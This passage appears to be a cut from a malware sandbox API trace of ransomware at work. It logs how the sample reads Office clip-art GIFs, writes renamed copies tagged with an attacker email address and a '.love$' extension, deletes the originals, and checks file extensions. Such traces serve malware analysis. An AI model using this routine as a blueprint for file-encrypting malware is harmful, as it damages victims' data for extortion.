office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.664] GetLastError () returned 0x0 [0117.664] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0117.681] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0117.691] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.691] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.691] SetEndOfFile (hFile=0x3a0) returned 1 [0117.693] CloseHandle (hObject=0x3a0) returned 1 [0117.698] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.698] SetEndOfFile (hFile=0x39c) returned 1 [0117.699] CloseHandle (hObject=0x39c) returned 1 [0117.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0117.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.700] lstrlenW (lpString=".doc") returned 4 [0117.700] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.700] lstrlenW (lpString=".docx") returned 5 [0117.700] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.700] lstrlenW (lpString=".pdf") returned 4 [0117.700] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.700] lstrlenW (lpString=".xls") returned 4 [0117.700] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.700] lstrlenW (lpString=".xlsx") returned 5 [0117.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.701] lstrlenW (lpString=".ppt") returned 4 [0117.701] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString=".zip") returned 4 [0117.701] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.701] lstrlenW (lpString=".rar") returned 4 [0117.701] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.701] lstrlenW (lpString=".bz2") returned 4 [0117.701] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.701] lstrlenW (lpString=".7z") returned 3 [0117.701] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString=".dbf") returned 4 [0117.701] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString=".1cd") returned 4 [0117.701] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString=".jpg") returned 4 [0117.701] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.701] lstrlenW (lpString=".doc") returned 4 [0117.701] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.701] lstrlenW (lpString=".docx") returned 5 [0117.701] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.701] lstrlenW (lpString=".pdf") returned 4 [0117.701] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.702] lstrlenW (lpString=".xls") returned 4 [0117.702] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.702] lstrlenW (lpString=".xlsx") returned 5 [0117.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.702] lstrlenW (lpString=".ppt") returned 4 [0117.702] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.702] lstrlenW (lpString=".zip") returned 4 [0117.702] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.702] lstrlenW (lpString=".rar") returned 4 [0117.702] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.702] lstrlenW (lpString=".bz2") returned 4 [0117.702] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.702] lstrlenW (lpString=".7z") returned 3 [0117.703] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.703] lstrlenW (lpString=".dbf") returned 4 [0117.703] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.703] lstrlenW (lpString=".1cd") returned 4 [0117.703] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0117.703] lstrlenW (lpString=".jpg") returned 4 [0117.703] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.703] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.703] lstrlenW (lpString="AG00154_.GIF") returned 12 [0117.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0117.759] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5315) returned 1 [0117.759] CloseHandle (hObject=0x39c) returned 1 [0117.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0117.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0117.759] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.759] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.890] GetLastError () returned 0x0 [0117.890] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0117.909] WriteFile (in: hFile=0x394, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0117.911] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.911] WriteFile (in: hFile=0x394, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.911] SetEndOfFile (hFile=0x394) returned 1 [0117.911] CloseHandle (hObject=0x394) returned 1 [0117.912] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.912] SetEndOfFile (hFile=0x39c) returned 1 [0117.913] CloseHandle (hObject=0x39c) returned 1 [0117.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0117.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.914] lstrlenW (lpString=".doc") returned 4 [0117.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.914] lstrlenW (lpString=".docx") returned 5 [0117.914] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.914] lstrlenW (lpString=".pdf") returned 4 [0117.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.914] lstrlenW (lpString=".xls") returned 4 [0117.914] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.914] lstrlenW (lpString=".xlsx") returned 5 [0117.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.914] lstrlenW (lpString=".ppt") returned 4 [0117.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.914] lstrlenW (lpString=".zip") returned 4 [0117.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.914] lstrlenW (lpString=".rar") returned 4 [0117.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.914] lstrlenW (lpString=".bz2") returned 4 [0117.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.915] lstrlenW (lpString=".7z") returned 3 [0117.915] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString=".dbf") returned 4 [0117.915] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString=".1cd") returned 4 [0117.915] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString=".jpg") returned 4 [0117.915] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString=".doc") returned 4 [0117.915] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.915] lstrlenW (lpString=".docx") returned 5 [0117.915] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.915] lstrlenW (lpString=".pdf") returned 4 [0117.915] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString=".xls") returned 4 [0117.915] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString=".xlsx") returned 5 [0117.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.915] lstrlenW (lpString=".ppt") returned 4 [0117.915] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.915] lstrlenW (lpString=".zip") returned 4 [0117.915] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString=".rar") returned 4 [0117.915] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.915] lstrlenW (lpString=".bz2") returned 4 [0117.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.916] lstrlenW (lpString=".7z") returned 3 [0117.916] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.916] lstrlenW (lpString=".dbf") returned 4 [0117.916] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.916] lstrlenW (lpString=".1cd") returned 4 [0117.916] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0117.916] lstrlenW (lpString=".jpg") returned 4 [0117.916] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.916] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.916] lstrlenW (lpString="AG00160_.GIF") returned 12 [0117.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0117.916] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1146) returned 1 [0117.916] CloseHandle (hObject=0x39c) returned 1 [0117.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0117.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0117.917] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.917] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.917] GetLastError () returned 0x0 [0117.917] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x47a, lpOverlapped=0x0) returned 1 [0117.926] WriteFile (in: hFile=0x394, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x480, lpOverlapped=0x0) returned 1 [0117.927] ReadFile (in: hFile=0x39c, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.927] WriteFile (in: hFile=0x394, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.927] SetEndOfFile (hFile=0x394) returned 1 [0117.928] CloseHandle (hObject=0x394) returned 1 [0117.928] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.929] SetEndOfFile (hFile=0x39c) returned 1 [0117.929] CloseHandle (hObject=0x39c) returned 1 [0117.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0117.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.930] lstrlenW (lpString=".doc") returned 4 [0117.930] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.930] lstrlenW (lpString=".docx") returned 5 [0117.930] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.930] lstrlenW (lpString=".pdf") returned 4 [0117.930] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".xls") returned 4 [0117.931] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".xlsx") returned 5 [0117.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.931] lstrlenW (lpString=".ppt") returned 4 [0117.931] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString=".zip") returned 4 [0117.931] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".rar") returned 4 [0117.931] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".bz2") returned 4 [0117.931] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.931] lstrlenW (lpString=".7z") returned 3 [0117.931] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString=".dbf") returned 4 [0117.931] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString=".1cd") returned 4 [0117.931] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString=".jpg") returned 4 [0117.931] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.931] lstrlenW (lpString=".doc") returned 4 [0117.931] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.931] lstrlenW (lpString=".docx") returned 5 [0117.931] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.931] lstrlenW (lpString=".pdf") returned 4 [0117.931] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".xls") returned 4 [0117.931] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.931] lstrlenW (lpString=".xlsx") returned 5 [0117.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.932] lstrlenW (lpString=".ppt") returned 4 [0117.932] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.932] lstrlenW (lpString=".zip") returned 4 [0117.932] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.932] lstrlenW (lpString=".rar") returned 4 [0117.932] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.932] lstrlenW (lpString=".bz2") returned 4 [0117.932] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.932] lstrlenW (lpString=".7z") returned 3 [0117.932] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.932] lstrlenW (lpString=".dbf") returned 4 [0117.932] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.932] lstrlenW (lpString=".1cd") returned 4 [0117.932] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0117.932] lstrlenW (lpString=".jpg") returned 4 [0117.932] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.932] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.932] lstrlenW (lpString="AG00163_.GIF") returned 12 [0117.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.935] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6984) returned 1 [0117.935] CloseHandle (hObject=0x394) returned 1 [0117.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0117.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0117.938] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.938] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.938] GetLastError () returned 0x0 [0117.938] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0118.208] WriteFile (in: 